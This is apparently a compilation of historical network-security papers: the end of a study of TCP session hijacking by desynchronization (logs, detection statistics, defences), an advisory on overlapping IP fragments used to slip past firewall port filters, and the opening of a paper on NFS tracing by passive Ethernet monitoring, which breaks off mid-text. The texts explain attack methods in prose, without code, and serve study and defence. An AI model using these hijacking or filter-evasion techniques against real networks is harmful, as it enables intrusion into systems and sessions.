    11:26:20.289312 198.108.3.13.23 &gt; 35.42.1.146.1098: . 1544640440:1544640440(0)
    ack 601928782 win 4096
    11:26:20.289620 35.42.1.146.1098 &gt; 198.108.3.13.23: . 896896076:896896076(0) ac
    k 1544576436 win 4096

    Almost all of the packets with the ACK flag set but with no
    data are acknowledgement of unacceptable packets. A lot of
    retransmission occurs due to the load on the network and on the
    attacker host created by the ACK storm. The real log (including all ACK
    packets) is about 3000 lines long whereas the one shown here has been
    stripped to about 100 lines. A lot of packets have also been lost and do
    not show up in this log. The data collected during the test shows that
    one real packet sent can generate between 10 and 300 empty Ack
    packets. Those numbers are of course highly variable.

    5. Detection and Side Effects

    Several flaws of that attack can be used to detect it. Three will
    be described here but one can imagine some other ways to detect the intrusion.


    - Desynchronized state detection. By comparing the sequence
    numbers of both ends of the connection the user can tell if the
    connection is in the desynchronized state. This method is feasible if
    we assume that the sequence numbers can be transmitted through the TCP
    stream without being compromised (changed) by the attacker.

    Local Ethernet Transit Ethernet
    Total TCP/s 80-100 (60-80) 1400 (87)
    Total Ack 25-75 (25-45) 500 (35)
    Total Telnet 10-20 (10-25) 140 (10)
    Total Telnet Ack 5-10 (45-55) 45 (33)

    Table 1: Percentage of ACK packets without the attack.

    - Ack storm detection.
    Some statistics on the TCP traffic conducted on our local
    ethernet segment outside the attack show that the average ratio of ACK
    without data packets per total telnet packets is around 45%. On a more
    loaded transit ethernet the average is about 33% (C.f Table 1)

    The total number of TCP packets as well as the total number of
    ACK and telnet packets fluctuate a lot on the local ethernet. The table shows
    the limits. The percentage of ACK telnet packets is very stable, around 45%.
    This can be explained by the fact that the telnet session is an interactive
    session and every character typed by the user must be echoed and acknowledged.
    The volume of exchanged data is very small each packet usually contains one
    character or one text line.

    The data for the transit ethernet is very consistent. Due to the
    high load on that segment a few packets may have been dropped by the
    collecting host.

    When the attack is conducted some of these figures change. The
    next table shows the results for two types of session. The data has been
    collected on the local ethernet only.

    In Table 2 the `Local connection' is a
    session with a host at a few IP hops from the client. The Round Trip
    Delay (RTD) is approximately 3ms and the actual number of hops is 4.
    The 'Remote connection' is a session with a RTD of about 40ms and 9
    hops away. In the first case the attack is clearly visible. Even if
    it's very fluctuant, the percentage of TCP ACK is near 100%. Almost
    all of the traffic is acknowledgement packets.

    In the second case the detection of the attack is less obvious.
    The data has to be compared with the first column of
    Table 1 (local traffic). The percentage of TCP ACK
    slightly increases but not significantly. One can explain this result
    by the long RTD which decreases the rate of ACK packets sent. The
    underlying network is also used to experience between a 5% and 10%
    packet loss which helps in breaking the ACK loop.

    Local connection Remote connection
    Total Telnet 80-400 (60-85) 30-40 (30-35)
    Total Telnet Ack 75-400 (90-99) 20-25 (60-65)

    Percentage of ACK packets during an attack.

    - Increase of the packet loss and retransmission for that
    particular session. Though no data is available to enlighten us on that
    behavior the log produced during the attack shows an unusually high
    level of packet loss and so retransmission. Therefore this implies a
    deterioration of the response time for the user. The packet loss
    increase is caused by:

    - The extra load of the network due to the ACK storms.
    - The packet dropped by the sniffer of the attacker. The drops tend
    to increase as the load on the network increases.

    - Some unexpected connection reset.
    The following behavior has not been fully investigated since the
    attacker program developed was to try the validity of the concept more
    than making the attack transparent to the client and server. These are
    likely to disappear with a more sophisticated attacker program. The user
    can experience a connection reset of its session at the early stage of
    the connection if the protocol of the attack is not correctly executed.
    A loss of the attacker's RST or SYN packets may leave the server side of the
    connection in a undefined state (usually CLOSED or SYN-RECEIVED) and
    may make the client packets acceptable. About 10% of the attacks performed
    were unsuccessful, ending either by a connection close (very visible)
    or a non-desynchronized connection (the attacker failed to redirect
    the stream).

    Some side effects and notes about TCP and the attack.

    - TCP implementation.
    The desynchronization process described here failed on certain
    TCP implementations. According to [rfc793] a RST packet is not
    acknowledged and just destroys the TCB. Some TCP implementations do
    when in a certain state acknowledge the RST packet by sending back a
    RST packet. When the attacker sends the RST packet to the server the
    RST is sent back to the client which closes its connection and ends the
    session. Other desynchronization mechanisms may be investigated which
    do not reset the connection.
    - The client and the attacker were always on the same
    ethernet segment when performing the test. This makes the attack more
    difficult to run because of a high load on that segment. The collision
    rate increases and the attacker's sniffer buffer are overflowed by the
    traffic.
    - One can think of just watching the session and
    sending some data to the server, without caring about creating the
    desynchronized state and forwarding the TCP packets. Though it will
    succeed in corrupting the host that approach is likely to be detected early
    by the user. Indeed the TCP session will not be able to exchange data
    once the command sent.

    6. Prevention
    The only ways known by the writer currently available to prevent
    such an attack on a telnet session are the encrypted Kerberos scheme
    (application layer) or the TCP crypt implementation
    [TCPcrypt] (TCP layer). Encryption of the data flow prevents any
    intrusion or modification of the content. Signature of the data can
    also be used. [pgp] is an example of an available way to secure
    electronic mail transmission.

    7. Morris' Attack Reviewed

    Morris' attack as described in [morris85] assumes that
    the attacker can predict the next initial sequence number used by the server
    (noted SVR_SEQ_0 in this document) and that the identification scheme is
    based on trusted hosts (which means only certain hosts are allowed
    to perform some commands on the server without any other identification
    process being needed).

    In this attack the cracker initiates the session
    by sending a SYN packet to the server using the client (trusted host)
    as the source address. The server acknowledge the SYN with a SYN/ACK
    packet with SEG_SEQ = SVR_SEQ_0. The attacker then acknowledges that packet
    in guessing SVR_SEQ_0. The cracker does not need to sniff the client packets
    as long as he can predict SVR_SEQ_0 in order to acknowledge it. This
    attack has two main flaws:

    - The client whom the attacker masquerades will receive the SYN/ACK packet
    from the server and then could generate a RST packet to the server
    since in the client's view no session yet exists. Morris supposes that
    one can stop the RST generation by either performing the attack when the
    client is down or by overflowing the client's TCP queue so the SYN/ACK
    packet will be lost.
    - The attacker cannot receive data from the server. But he can send
    data which is sometime enough to compromise a host.

    The are four principal differences between Morris' attack and
    the present one:

    - Morris's relies on the trusted hosts identification scheme whereas
    the present attack lets the user conduct the identification stage of the
    connection.
    - The present attack is a full duplex TCP stream. The attacker can
    send and receive data.
    - The present attack uses the ethernet sniffer to predict (or just get)
    SVR_SEQ_0.
    - The present attack can be used against any kind of host besides
    Unix hosts.

    Morris' attack can easily be extented in regard of the present attack:

    - The sniffer is used to get the server's initial sequence number. Morris'
    attack can then be performed against the server. The attacker do not need
    to wait for a client to connect.
    - Considering that the client will not send RST packets (for example it is
    down) the attacker can establish a full duplex TCP connection
    with the server. It can send data and receive data on behalf of the client.
    Of course the cracker still has to pass the identification barrier. If the
    identification is based on trusted hosts (like NFS or rlogin)
    the cracker has full access to the host's services.

    Steven M. Bellovin in [bellovin89] also presents how ICMP
    packets can be used to disable one side of the connection. In this case
    the attacker gets full control of the session (people have referred
    to 'TCP session hijacking'), but this is too easily detected by the user.

    8. Conclusion

    Although easy to detect when used on a local network, the attack
    presented here is quite efficient on long distance, low bandwidth, high
    delay networks (usually WAN). It can be carried with the same resources as
    for a passive sniffing attack which have occurred so frequently on the Internet
    .
    This attack has also the dangerous advantage of being invisible to the user.
    While cracking into a host on the Internet is becoming more and more
    frequent, the stealthfulness of the attack is now a very important
    parameter for the success of the attack and makes it more difficult to
    detect.

    When everybody's attention in the Internet is focused on the
    emerging new IPv6 protocol to replace the current IPv4, increasing
    attacks and the need for secure systems press us to develop and use a
    secure transport layer for the Internet community. Options should be
    available to send signed and eventually encrypted data to provide
    privacy. And since the signature of the data implies reliability the
    signature can be substituted to the current TCP checksum.

    This paper does not attempt to explain all cases
    of active attacks using a sniffer. It is more a warning for people using
    s/key or Kerberos against the danger of someone sniffing the ethernet.
    It provides a few ideas and starting points which can be more deeply studied.
    The method presented has been successfully used during our test even with
    a very simple attacker's software.

    [Bellovin89] "Security Problems in the TCP/IP
    Protocol Suite", Bellovin, S., Computer Communications Review,
    April 1989.

    [Kerberos] "Kerberos: An Authentication Service for
    Open Network Systems", Steiner, J., Neuman, C., Schiller, J.,
    USENIX Conference Proceeding, Dallas, Texas, February 1989.

    [Morris85] "A Weakness in the 4.2BSD UNIX TCP/IP
    Software", Morris, R., Computing Science Technical Report No 117,
    ATT Bell Laboratories, Murray Hill, New Jersey, 1985.

    [PGP] Pretty Good Privacy Version 2.6.1, Philip
    Zimmermann, August 1994.

    [RFC 793] Request For Comment 793,
    ``Transmission Control Protocol'', September 1981, J. Postel.

    [RFC 854] Request For Comment 854,
    ``Telnet Protocol Specification'', May 1983, J. Postel,
    J. Reynolds

    [SKEY] "The S/Key One-time Password System", Haller, N.,
    Proceeding of the Symposium on Network Distributed Systems,
    Security, Internet Society, San Diego, CA, February 1994.

    [TCPcrypt] "Public Key Encryption Support for TCP",
    Joncheray, L., Work in progress, May 1995.

    [TCPDUMP] tcpdump(8) Version 2.2.1, Van Jacobson,
    Craig Leres, Steven Berkeley, University of California, Berkeley, CA.
    ___________________________________________________________________________


    ___________________________________________________________________________
    This is the original text file that I found:

    TCP packet fragment attacks against firewalls and filters

    ***********************************************************************
    ADVISORY: TCP packet fragment attacks against firewalls and filters
    System: TCP/IP networks
    Source: http://all.net, Dr. Frederick B. Cohen
    ***********************************************************************

    Packet Fragmentation Attacks

    Introduction to Packet Fragmentation

    Packet fragmentation is the part of the Internet Protocol (IP) suite of
    networking protocols that assures that IP datagrams can flow through any
    other sort of network. (For details, see Internet Request For Comments 791
    (rfc791) and are available and searchable in electronic form from Info-Sec
    heaven on the World-Wide-Web at http://all.net, through gopher service at
    all.net, or by ftp service from rs.internic.net.) Fragmentation works by
    allowing datagrams created as a single packet to be split into many smaller
    packets for transmission and reassembled at the receiving host.

    Packet fragmentation is necessary because underlying the IP protocol, other
    physical and or logical protocols are used to transport packets through
    networks. A good example of this phenomena is on the difference between
    Ethernet packets (which are limited to 1024 bytes), ATM packets (which are
    limited to 56 bytes), and IP packets which have variable sizes up to about
    1/2 million bytes in length.

    The only exception to this rule is in the case of an internet datagram
    marked don't fragment . Any internet datagram marked in this way is
    supposed to not be fragmented under any circumstances. If internet
    datagrams marked don't fragment cannot be delivered to their destination
    without being fragmented, they are supposed to be discarded instead. Of
    course, this rule doesn't have to be obeyed by the IP software actually
    processing packets, but it is supposed to be.

    How Packet Reassembly Attacks Work

    The packet fragmentation mechanism leads to attacks that bypass many
    current Internet firewalls, but the reason these attacks work is not
    because of the way fragmentation is done, but rather because of the way
    datagrams are reassembled.

    Datagrams are supposed to be fragmented into packets that leave the header
    portion of the packet intact except for the modification of the fragmented
    packet bit and the filling in of an offset field in the IP header that
    indicates at which byte in the whole datagram the current packet is
    supposed to start. In reassembly, the IP reassembler creates a temporary
    packet with the fragmented part of the datagram in place and adds incoming
    fragments by placing their data fields at the specified offsets within the
    datagram being reassembled. Once the whole datagram is reassembled, it is
    processed as if it came in as a single packet.

    According to the IP specification, fragmented packets are to be reassembled
    at the receiving host. This presumably means that they are not supposed to
    be reassembled at intermediate sites such as firewalls or routers. This
    decision was made presumably to prevent repeated reassembly and
    refragmentation in intermediate networks. When routers and firewalls
    followed the rules, they found a peculiar problem.

    The way firewalls and routers block specific services (such as telnet )
    while allowing other services (such as the world wide web http service) is
    by looking into the IP packet to determine which Transfer Control Protocol
    (TCP) port is being used. If the port corresponds to 80, the datagram is
    destined for http service, while port 23 is used for telnet . In normal
    datagrams, this works fine. But suppose we didn't follow the rules for
    fragmentation and created improper fragmented packets? Here's what one
    attacker did:

    * Create an initial packet which claims to be the first fragment of a
    multi-packet datagram. Specify TCP port 80 in the TCP header so it
    looks like a datagram going to http service, which is allowed to pass
    the firewall.
    * The firewall passes the packet to the host under attack and passes
    subsequent packet fragments in order to allow the destination host to
    reassemble the packet.
    * One of the subsequent packets has an offset of 0 which causes the
    reassembler to overwrite the initial part of the IP packet. This is
    the part of the IP packet that specifies the TCP port. The attacker
    overwrites the IP port number which was originally 80 with a new port
    number such as 23, and is now granted telnet access to the host under
    attack despite the firewall that is supposed to block the service.

    _________________________________________________________________________
    NFS Tracing By Passive Network Monitoring

    Author:

    Matt Blaze

    Department of Computer Science Princeton University mab@cs.princeton.edu

    ABSTRACT

    Traces of filesystem activity have proven to be useful for a wide variety of
    purposes, ranging from quantitative analysis of system behavior to
    trace-driven simulation of filesystem algorithms. Such traces can be
    difficult to obtain, however, usually entailing modification of the
    filesystems to be monitored and runtime overhead for the period of the
    trace. Largely because of these difficulties, a surprisingly small number of
    filesystem traces have been conducted, and few sample workloads are
    available to filesystem researchers.

    This paper describes a portable toolkit for deriving approximate traces of
    NFS [1] activity by non-intrusively monitoring the Ethernet traffic to and
    from the file server. The toolkit uses a promiscuous Ethernet listener
    interface (such as the Packetfilter[2]) to read and reconstruct NFS-related
    RPC packets intended for the server. It produces traces of the NFS activity
    as well as a plausible set of corresponding client system calls. The tool is
    currently in use at Princeton and other sites, and is available via
    anonymous ftp.

    1. Motivation

    Traces of real workloads form an important part of virtually all analysis of
    computer system behavior, whether it is program hot spots, memory access
    patterns, or filesystem activity that is being studied. In the case of
    filesystem activity, obtaining useful traces is particularly challenging.
    Filesystem behavior can span long time periods, often making it necessary to
    collect huge traces over weeks or even months. Modification of the
    filesystem to collect trace data is often difficult, and may result in
    unacceptable runtime overhead. Distributed filesystems exa cerbate these
    difficulties, especially when the network is composed of a large number of
    heterogeneous machines. As a result of these difficulties, only a relatively
    small number of traces of Unix filesystem workloads have been conducted,
    primarily in computing research environments. [3], [4] and [5] are examples
    of such traces.

    Since distributed filesystems work by transmitting their activity over a
    network, it would seem reasonable to obtain traces of such systems by
    placing a "tap" on the network and collecting trace data based on the
    network traffic. Ethernet[6] based networks lend themselves to this approach
    particularly well, since traffic is broadcast to all machines connected to a
    given subnetwork. A number of general-purpose network monitoring tools are
    avail able that "promiscuously" listen to the Ethernet to which they are
    connected; Sun's etherfind[7] is an example of such a tool. While these
    tools are useful for observing (and collecting statistics on) specific types
    of packets, the information they provide is at too low a level to be useful
    for building filesystem traces. Filesystem operations may span several
    packets, and may be meaningful only in the context of other, previous
    operations.

    Some work has been done on characterizing the impact of NFS traffic on
    network load. In [8], for example, the results of a study are reported in
    which Ethernet traffic was monitored and statistics gathered on NFS
    activity. While useful for understanding traffic patterns and developing a
    queueing model of NFS loads, these previous stu dies do not use the network
    traffic to analyze the file access traffic patterns of the system, focusing
    instead on developing a statistical model of the individual packet sources,
    destinations, and types.

    This paper describes a toolkit for collecting traces of NFS file access
    activity by monitoring Ethernet traffic. A "spy" machine with a promiscuous
    Ethernet interface is connected to the same network as the file server. Each
    NFS-related packet is analyzed and a trace is produced at an appropriate
    level of detail. The tool can record the low level NFS calls themselves or
    an approximation of the user-level system calls (open, close, etc.) that
    triggered the activity.

    We partition the problem of deriving NFS activity from raw network traffic
    into two fairly distinct subprob lems: that of decoding the low-level NFS
    operations from the packets on the network, and that of translating these
    low-level commands back into user-level system calls. Hence, the toolkit
    consists of two basic parts, an "RPC decoder" (rpcspy) and the "NFS
    analyzer" (nfstrace). rpcspy communicates with a low-level network
    monitoring facility (such as Sun's NIT [9] or the Packetfilter [2]) to read
    and reconstruct the RPC transactions (call and reply) that make up each NFS
    command. nfstrace takes the output of rpcspy and reconstructs the sys tem
    calls that occurred as well as other interesting data it can derive about
    the structure of the filesystem, such as the mappings between NFS file
    handles and Unix file names. Since there is not a clean one-to-one mapping
    between system calls and lower-level NFS commands, nfstrace uses some simple
    heuristics to guess a reasonable approximation of what really occurred.

    1.1. A Spy's View of the NFS Protocols

    It is well beyond the scope of this paper to describe the protocols used by
    NFS; for a detailed description of how NFS works, the reader is referred to
    [10], [11], and [12]. What follows is a very brief overview of how NFS
    activity translates into Ethernet packets.

    An NFS network consists of servers, to which filesystems are physically
    connected, and clients, which per form operations on remote server
    filesystems as if the disks were locally connected. A particular machine can
    be a client or a server or both. Clients mount remote server filesystems in
    their local hierarchy just as they do local filesystems; from the user's
    perspective, files on NFS and local filesystems are (for the most part)
    indistinguishable, and can be manipulated with the usual filesystem calls.

    The interface between client and server is defined in terms of 17 remote
    procedure call (RPC) operations. Remote files (and directories) are referred
    to by a file handle that uniquely identifies the file to the server. There
    are operations to read and write bytes of a file (read, write), obtain a
    file's attributes (getattr), obtain the contents of directories (lookup,
    readdir), create files (create), and so forth. While most of these
    operations are direct analogs of Unix system calls, notably absent are open
    and close operations; no client state information is maintained at the
    server, so there is no need to inform the server explicitly when a file is
    in use. Clients can maintain buffer cache entries for NFS files, but must
    verify that the blocks are still valid (by checking the last write time with
    the getattr operation) before using the cached data.

    An RPC transaction consists of a call message (with arguments) from the
    client to the server and a reply mes sage (with return data) from the server
    to the client. NFS RPC calls are transmitted using the UDP/IP connection
    less unreliable datagram protocol[13]. The call message contains a unique
    transaction identifier which is included in the reply message to enable the
    client to match the reply with its call. The data in both messages is
    encoded in an "external data representation" (XDR), which provides a
    machine-independent standard for byte order, etc.

    Note that the NFS server maintains no state information about its clients,
    and knows nothing about the context of each operation outside of the
    arguments to the operation itself.

    2. The rpcspy Program

    rpcspy is the interface to the system-dependent Ethernet monitoring
    facility; it produces a trace of the RPC calls issued between a given set of
    clients and servers. At present, there are versions of rpcspy for a number
    of BSD-derived systems, including ULTRIX (with the Packetfilter[2]), SunOS
    (with NIT[9]), and the IBM RT running AOS (with the Stanford enet filter).

    For each RPC transaction monitored, rpcspy produces an ASCII record
    containing a timestamp, the name of the server, the client, the length of
    time the command took to execute, the name of the RPC command executed, and
    the command- specific arguments and return data. Currently, rpcspy
    understands and can decode the 17 NFS RPC commands, and there are hooks to
    allow other RPC services (for example, NIS) to be added reasonably easily.

    The output may be read directly or piped into another program (such as
    nfstrace) for further analysis; the for mat is designed to be reasonably
    friendly to both the human reader and other programs (such as nfstrace or
    awk).

    Since each RPC transaction consists of two messages, a call and a reply,
    rpcspy waits until it receives both these components and emits a single
    record for the entire transaction. The basic output format is 8 vertical-bar
    separated fields:

    timestamp | execution-time | server | client | command-name | arguments |
    reply-data

    where timestamp is the time the reply message was received, execution-time
    is the time (in microseconds) that elapsed between the call and reply,
    server is the name (or IP address) of the server, client is the name (or IP
    address) of the client followed by the userid that issued the command,
    command-name is the name of the particular program invoked (read, write,
    getattr, etc.), and arguments and reply-data are the command dependent
    arguments and return values passed to and from the RPC program,
    respectively.

    The exact format of the argument and reply data is dependent on the specific
    command issued and the level of detail the user wants logged. For example, a
    typical NFS command is recorded as follows:

    690529992.167140 | 11717 | paramount | merckx.321 | read |
    {"7b1f00000000083c", 0, 8192} | ok, 1871

    In this example, uid 321 at client "merckx" issued an NFS read command to
    server "paramount". The reply was issued at (Unix time) 690529992.167140
    seconds; the call command occurred 11717 microseconds earlier. Three
    arguments are logged for the read call: the file handle from which to read
    (represented as a hexadecimal string), the offset from the beginning of the
    file, and the number of bytes to read. In this example, 8192 bytes are
    requested starting at the beginning (byte 0) of the file whose handle is
    "7b1f00000000083c". The command completed successfully (status "ok"), and
    1871 bytes were returned. Of course, the reply message also included the
    1871 bytes of data from the file, but that field of the reply is not logged
    by rpcspy.

    rpcspy has a number of configuration options to control which hosts and RPC
    commands are traced, which call and reply fields are printed, which Ethernet
    interfaces are tapped, how long to wait for reply messages, how long to run,
    etc. While its primary function is to provide input for the nfstrace program
    (see Section 3), judi cious use of these options (as well as such programs
    as grep, awk, etc.) permit its use as a simple NFS diag nostic and
    performance monitoring tool. A few screens of output give a surprisingly
    informative snapshot of current NFS activity; we have identified quickly
    using the program several problems that were otherwise difficult to
    pinpoint. Similarly, a short awk script can provide a breakdown of the most
    active clients, servers, and hosts over a sampled time period.

    2.1. Implementation Issues

    The basic function of rpcspy is to monitor the network, extract those
    packets containing NFS data, and print the data in a useful format. Since
    each RPC transaction consists of a call and a reply, rpcspy maintains a
    table of pending call packets that are removed and emitted when the matching
    reply arrives. In normal operation on a reasonably fast workstation, this
    rarely requires more than about two megabytes of memory, even on a busy net
    work with unusually slow file servers. Should a server go down, however, the
    queue of pending call messages (which are never matched with a reply) can
    quickly become a memory hog; the user can specify a maximum size the table
    is allowed to reach before these "orphaned" calls are searched out and
    reclaimed.

    File handles pose special problems. While all NFS file handles are a fixed
    size, the number of significant bits varies from implementation to
    implementation; even within a vendor, two different releases of the same
    operating system might use a completely different internal handle format. In
    most Unix implementations, the handle contains a filesystem identifier and
    the inode number of the file; this is sometimes augmented by additional
    information, such as a version number. Since programs using rpcspy output
    generally will use the handle as a unique file identifier, it is important
    that there not appear to be more than one handle for the same file.
    Unfortunately, it is not sufficient to simply consider the handle as a
    bitstring of the maximum handle size, since many operating systems do not
    zero out the unused extra bits before assigning the handle. Fortunately,
    most servers are at least consistent in the sizes of the handles they
    assign. rpcspy allows the user to specify (on the command line or in a
    startup file) the handle size for each host to be monitored. The handles
    from that server are emitted as hexadecimal strings truncated at that
    length. If no size is specified, a guess is made based on a few common
    formats of a reasonable size.

    It is usually desirable to emit IP addresses of clients and servers as their
    symbolic host names. An early ver sion of the software simply did a
    nameserver lookup each time this was necessary; this quickly flooded the
    network with a nameserver request for each NFS transaction. The current
    version maintains a cache of host names; this requires a only a modest
    amount of memory for typical networks of less than a few hundred hosts. For
    very large networks or those where NFS service is provided to a large number
    of remote hosts, this could still be a potential problem, but as a last
    resort remote name resolution could be disabled or rpcspy configured to not
    translate IP addresses.

    UDP/IP datagrams may be fragmented among several packets if the datagram is
    larger than the maximum size of a single Ethernet frame. rpcspy looks only
    at the first fragment; in practice, fragmentation occurs only for the data
    fields of NFS read and write transactions, which are ignored anyway.

    3. nfstrace: The Filesystem Tracing Package

    Although rpcspy provides a trace of the low-level NFS commands, it is not,
    in and of itself, sufficient for obtaining useful filesystem traces. The
    low-level commands do not by themselves reveal user-level activity. Furth
    ermore, the volume of data that would need to be recorded is potentially
    enormous, on the order of megabytes per hour. More useful would be an
    abstraction of the user-level system calls underlying the NFS activity.

    nfstrace is a filter for rpcspy that produces a log of a plausible set of
    user level filesystem commands that could have triggered the monitored
    activity. A record is produced each time a file is opened, giving a summary
    of what occurred. This summary is detailed enough for analysis or for use as
    input to a filesystem simulator.

    The output format of nfstrace consists of 7 fields:

    timestamp | command-time | direction | file-id | client | transferred | size

    where timestamp is the time the open occurred, command-time is the length of
    time between open and close, direc tion is either read or write (mkdir and
    readdir count as write and read, respectively). file-id identifies the
    server and the file handle, client is the client and user that performed the
    open, transferred is the number of bytes of the file actually read or
    written (cache hits have a 0 in this field), and size is the size of the
    file (in bytes).

    An example record might be as follows:

    690691919.593442 | 17734 | read | basso:7b1f00000000400f | frejus.321 | 0 |
    24576

    Here, userid 321 at client frejus read file 7b1f00000000400f on server
    basso. The file is 24576 bytes long and was able to be read from the client
    cache. The command started at Unix time 690691919.593442 and took 17734
    microseconds at the server to execute.

    Since it is sometimes useful to know the name corresponding to the handle
    and the mode information for each file, nfstrace optionally produces a map
    of file handles to file names and modes. When enough information (from
    lookup and readdir commands) is received, new names are added. Names can
    change over time (as files are deleted and renamed), so the times each
    mapping can be considered valid is recorded as well. The mapping infor
    mation may not always be complete, however, depending on how much activity
    has already been observed. Also, hard links can confuse the name mapping,
    and it is not always possible to determine which of several possible names a
    file was opened under.

    What nfstrace produces is only an approximation of the underlying user
    activity. Since there are no NFS open or close commands, the program must
    guess when these system calls occur. It does this by taking advantage of the
    observation that NFS is fairly consistent in what it does when a file is
    opened. If the file is in the local buffer cache, a getattr call is made on
    the file to verify that it has not changed since the file was cached.
    Otherwise, the actual bytes of the file are fetched as they are read by the
    user. (It is possible that part of the file is in the cache and part is not,
    in which case the getattr is performed and only the missing pieces are
    fetched. This occurs most often when a demand-paged executable is loaded).
    nfstrace assumes that any sequence of NFS read calls on the same file issued
    by the same user at the same client is part of a single open for read. The
    close is assumed to have taken place when the last read in the sequence
    completes. The end of a read sequence is detected when the same client reads
    the beginning of the file again or when a timeout with no reading has
    elapsed. Writes are handled in a similar manner.

    Reads that are entirely from the client cache are a bit harder; not every
    getattr command is caused by a cache read, and a few cache reads take place
    without a getattr. A user level stat system call can sometimes trigger a
    getattr, as can an ls -l command. Fortunately, the attribute caching used by
    most implementations of NFS seems to eliminate many of these extraneous
    getattrs, and ls commands appear to trigger a lookup command most of the
    time. nfstrace assumes that a getattr on any file that the client has read
    within the past few hours represents a cache read, otherwise it is ignored.
    This simple heuristic seems to be fairly accurate in practice. Note also
    that a getattr might not be performed if a read occurs very soon after the
    last read, but the time threshold is generally short enough that this is
    rarely a problem. Still, the cached reads that nfstrace reports are, at
    best, an estimate (generally erring on the side of over-reporting). There is
    no way to determine the number of bytes actually read for cache hits.

    The output of nfstrace is necessarily produced out of chronological order,
    but may be sorted easily by a post-processor.

    nfstrace has a host of options to control the level of detail of the trace,
    the lengths of the timeouts, and so on. To facilitate the production of very
    long traces, the output can be flushed and checkpointed at a specified inter
    val, and can be automatically compressed.

    4. Using rpcspy and nfstrace for Filesystem Tracing

    Clearly, nfstrace is not suitable for producing highly accurate traces;
    cache hits are only estimated, the timing information is imprecise, and data
    from lost (and duplicated) network packets are not accounted for. When such
    a highly accurate trace is required, other approaches, such as modification
    of the client and server kernels, must be employed.

    The main virtue of the passive-monitoring approach lies in its simplicity.
    In [5], Baker, et al, describe a trace of a distributed filesystem which
    involved low-level modification of several different operating system
    kernels. In contrast, our entire filesystem trace package consists of less
    than 5000 lines of code written by a single programmer in a few weeks,
    involves no kernel modifications, and can be installed to monitor multiple
    heterogeneous servers and clients with no knowledge of even what operating
    systems they are running.

    The most important parameter affecting the accuracy of the traces is the
    ability of the machine on which rpcspy is running to keep up with the
    network traffic. Although most modern RISC workstations with reasonable
    Ethernet interfaces are able to keep up with typical network loads, it is
    important to determine how much informa tion was lost due to packet buffer
    overruns before relying upon the trace data. It is also important that the
    trace be, indeed, non-intrusive. It quickly became obvious, for example,
    that logging the traffic to an NFS filesystem can be problematic.

    Another parameter affecting the usefulness of the traces is the validity of
    the heuristics used to translate from RPC calls into user-level system
    calls. To test this, a shell script was written that performed ls -l, touch,
    cp and wc commands randomly in a small directory hierarchy, keeping a record
    of which files were touched and read and at what time. After several hours,
    nfstrace was able to detect 100% of the writes, 100% of the uncached reads,
    and 99.4% of the cached reads. Cached reads were over-reported by 11%, even
    though ls com mands (which cause the "phantom" reads) made up 50% of the
    test activity. While this test provides encouraging evidence of the accuracy
    of the traces, it is not by itself conclusive, since the particular workload
    being monitored may fool nfstrace in unanticipated ways.

    As in any research where data are collected about the behavior of human
    subjects, the privacy of the individu als observed is a concern. Although
    the contents of files are not logged by the toolkit, it is still possible to
    learn something about individual users from examining what files they read
    and write. At a minimum, the users of a mon itored system should be informed
    of the nature of the trace and the uses to which it will be put. In some
    cases, it may be necessary to disable the name translation from nfstrace
    when the data are being provided to others. Commercial sites where filenames
    might reveal something about proprietary projects can be particularly
    sensitive to such concerns.

    5. A Trace of Filesystem Activity in the Princeton C.S. Department

    A previous paper[14] analyzed a five-day long trace of filesystem activity
    conducted on 112 research worksta tions at DEC-SRC. The paper identified a
    number of file access properties that affect filesystem caching perfor
    mance; it is difficult, however, to know whether these properties were
    unique artifacts of that particular environment or are more generally
    applicable. To help answer that question, it is necessary to look at similar
    traces from other computing environments.

    It was relatively easy to use rpcspy and nfstrace to conduct a week long
    trace of filesystem activity in the Princeton University Computer Science
    Department. The departmental computing facility serves a community of
    approximately 250 users, of which about 65% are researchers (faculty,
    graduate students, undergraduate researchers, postdoctoral staff, etc), 5%
    office staff, 2% systems staff, and the rest guests and other "external"
    users. About 115 of the users work full-time in the building and use the
    system heavily for electronic mail, netnews, and other such communication
    services as well as other computer science research oriented tasks (editing,
    compiling, and executing programs, formatting documents, etc).

    The computing facility consists of a central Auspex file server (fs) (to
    which users do not ordinarily log in directly), four DEC 5000/200s (elan,
    hart, atomic and dynamic) used as shared cycle servers, and an assortment of
    dedicated workstations (NeXT machines, Sun workstations, IBM-RTs, Iris
    workstations, etc.) in indi vidual offices and laboratories. Most users log
    in to one of the four cycle servers via X window terminals located in
    offices; the terminals are divided evenly among the four servers. There are
    a number of Ethernets throughout the building. The central file server is
    connected to a "machine room network" to which no user terminals are
    directly connected; traffic to the file server from outside the machine room
    is gatewayed via a Cisco router. Each of the four cycle servers has a local
    /, /bin and /tmp filesystem; other filesystems, including /usr, /usr/local,
    and users' home directories are NFS mounted from fs. Mail sent from local
    machines is delivered locally to the (shared) fs:/usr/spool/mail; mail from
    outside is delivered directly on fs.

    The trace was conducted by connecting a dedicated DEC 5000/200 with a local
    disk to the machine room net work. This network carries NFS traffic for all
    home directory access and access to all non-local cycle-server files
    (including the most of the actively-used programs). On a typical weekday,
    about 8 million packets are transmitted over this network. nfstrace was
    configured to record opens for read and write (but not directory accesses or
    individual reads or writes). After one week (wednesday to wednesday),
    342,530 opens for read and 125,542 opens for write were recorded, occupying
    8 MB of (compressed) disk space. Most of this traffic was from the four
    cycle servers.

    No attempt was made to "normalize" the workload during the trace period.
    Although users were notified that file accesses were being recorded, and
    provided an opportunity to ask to be excluded from the data collection, most
    users seemed to simply continue with their normal work. Similarly, no
    correction is made for any anomalous user activity that may have occurred
    during the trace.

    5.1. The Workload Over Time

    Intuitively, the volume of traffic can be expected to vary with the time of
    day. Figure 1 shows the number of reads and writes per hour over the seven
    days of the trace; in particular, the volume of write traffic seems to
    mirror the general level of departmental activity fairly closely.

    An important metric of NFS performance is the client buffer cache hit rate.
    Each of the four cycle servers allocates approximately 6MB of memory for the
    buffer cache. The (estimated) aggregate hit rate (percentage of reads served
    by client caches) as seen at the file server was surprisingly low: 22.2%
    over the entire week. In any given hour, the hit rate never exceeded 40%.
    Figure 2 plots (actual) server reads and (estimated) cache hits per hour
    over the trace week; observe that the hit rate is at its worst during
    periods of the heaviest read activity.

    Past studies have predicted much higher hit rates than the aggregate
    observed here. It is probable that since most of the traffic is generated by
    the shared cycle servers, the low hit rate can be attributed to the large
    number of users competing for cache space. In fact, the hit rate was
    observed to be much higher on the single-user worksta tions monitored in the
    study, averaging above 52% overall. This suggests, somewhat
    counter-intuitively, that if more computers were added to the network (such
    that each user had a private workstation), the server load would decrease
    considerably. Figure 3 shows the actual cache misses and estimated cache
